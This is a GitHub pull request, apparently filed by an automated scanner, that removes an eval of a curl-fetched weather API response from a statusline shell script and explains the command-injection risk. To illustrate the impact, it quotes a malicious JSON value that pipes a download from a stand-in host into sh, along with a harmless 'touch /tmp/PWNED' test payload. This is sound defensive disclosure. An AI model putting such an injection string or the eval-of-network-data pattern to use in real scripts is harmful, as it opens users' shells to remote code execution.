fix(security): drop eval-of-curl-response in statusline weather path#1266
Open
aaronjmars wants to merge 1 commit into
Open
fix(security): drop eval-of-curl-response in statusline weather path#1266aaronjmars wants to merge 1 commit into
aaronjmars wants to merge 1 commit into
Conversation
statusline-command.sh fetches https://api.open-meteo.com/v1/forecast on each statusline tick and previously fed the response straight into an `eval "$(curl ... | jq -r ...)"` pattern that interpolated the JSON values without `@sh` quoting. A compromised, MITM'd, or DNS-rebound upstream that returned a temperature_2m value like "; curl evil.sh | sh; #" would have its payload eval'd in the user's shell on every prompt. Switch both the LOCATION_CACHE eval and the weather-API eval to direct `jq -r` field captures and gate the cache write on a numeric-temp check. Other surviving `eval "$(jq ...)"` sites in the same file already use jq's @sh filter for the values they interpolate, so they're unaffected. Detected by Aeon + semgrep bash.curl.security.curl-eval.curl-eval. Severity: medium (requires upstream compromise / MITM / DNS rebind). CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code.
Author
|
Friendly bump @danielmiessler — drops the eval-of-curl-response in the statusline weather path. Small surface, happy to iterate on feedback. |
Author
|
Friendly second nudge @danielmiessler — drops the |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Releases/v5.0.0/.claude/PAI/statusline-command.shfetches the open-meteo weather forecast on every statusline tick (i.e. on every Claude Code prompt cycle whenMODEisminiornormal) and previously fed the JSON response straight into a shelleval:The jq filter interpolates JSON values with plain string interpolation (
\(.temperature_2m)etc.) — without@shquoting — and theevalre-parses the result as shell. Othereval "$(jq ...)"sites in this same file (lines 206, 557, 794, 1434) already use@shto single-quote-escape values; these two were the outliers.The same
eval-without-@shpattern is used at line 582 for$LOCATION_CACHE(a local file), which is the second instance fixed in this PR.Impact
If the upstream forecast endpoint is compromised, MITM'd, or DNS-rebound, an attacker-controlled response like
produces
temp=; curl evil.sh | sh; #in the string fed toeval, which then executes the payload in the user's shell on every statusline render (i.e. every prompt cycle). open-meteo is HTTPS-hosted, so the realistic threat model is upstream compromise or a local DNS-resolution attack rather than passive MITM, but the anti-pattern is the one PAI's ownSECURITY.mdcalls out:The
$LOCATION_CACHEvariant is local-only and lower-impact, but the same antipattern —eval-of-jq-string-interpolation — so it's bundled.Location
Releases/v5.0.0/.claude/PAI/statusline-command.sh:582—$LOCATION_CACHEevalReleases/v5.0.0/.claude/PAI/statusline-command.sh:589—$weather_jsonevalFix
Both sites switch from
eval "$(jq -r '"k=\(.v)\n..."' ...)"to plain field captures:jq -rwrites the raw value to stdout and$(...)captures it as a string — no shell evaluation, no string-interpolation injection vector. Same shape for the$LOCATION_CACHEblock.Defense-in-depth follow-up bundled in the same diff: a numeric-character guard on
$tempbeforeprintf '%.0f'. The previous code wrote🌡️ °Fto the cache when upstream returned a missing or non-numeric value (plus a stderrprintf: invalid numbernoise line); the patched version skips the cache write on bad input so the statusline simply omits weather this tick.Verification
bash -n Releases/v5.0.0/.claude/PAI/statusline-command.sh— clean.semgrep --config=p/security-audit --config=p/owasp-top-tenon the patched file: 0 findings (was 1×bash.curl.security.curl-eval.curl-evalWARNING before).{"current": {"temperature_2m": "; touch /tmp/PWNED; #", ...}}through the patched parser:/tmp/PWNEDwas not created (RCE blocked).🌡️ °line).{"temperature_2m": 18.5, ...}) still produces☀️ 18°Fin the cache.latin$LOCATION_CACHEcaptured as literal string into the variable, no execution.Detected by
Aeon + semgrep
bash.curl.security.curl-eval.curl-eval(WARNING)Scope notes
This PR touches only the two unsafe-
evalsites instatusline-command.sh. A broader pass over the v5.0.0 release surface (semgrep flagged 28 other findings underReleases/v5.0.0/.claude/, mostlyexecSyncwith string-interpolated titles inhooks/lib/tab-setter.tsand a wildcardpostMessageinPULSE/Observability/.../tweaks.tsx) is out of scope here — happy to file a follow-up PR if you'd like, but those are more invasive and would benefit from your input on intended behavior (the tab-title path takes Haiku-inferred output, and the Pulse iframe origin policy is a design choice).osv-scanner separately flagged a large transitive dep-CVE backlog (notably
next@15.5.6,handlebars@4.7.8,electron@34.5.8,protobufjs@7.5.4) across the v5.0.0 lockfiles and priorReleases/directories — also kept out of this PR; happy to spin up a separate lockfile-only bump forReleases/v5.0.0/.claude/PAI/PULSE/Observability/bun.lockandReleases/v5.0.0/.claude/PAI/PAI-Install/electron/package-lock.jsonif useful.Filed by Aeon.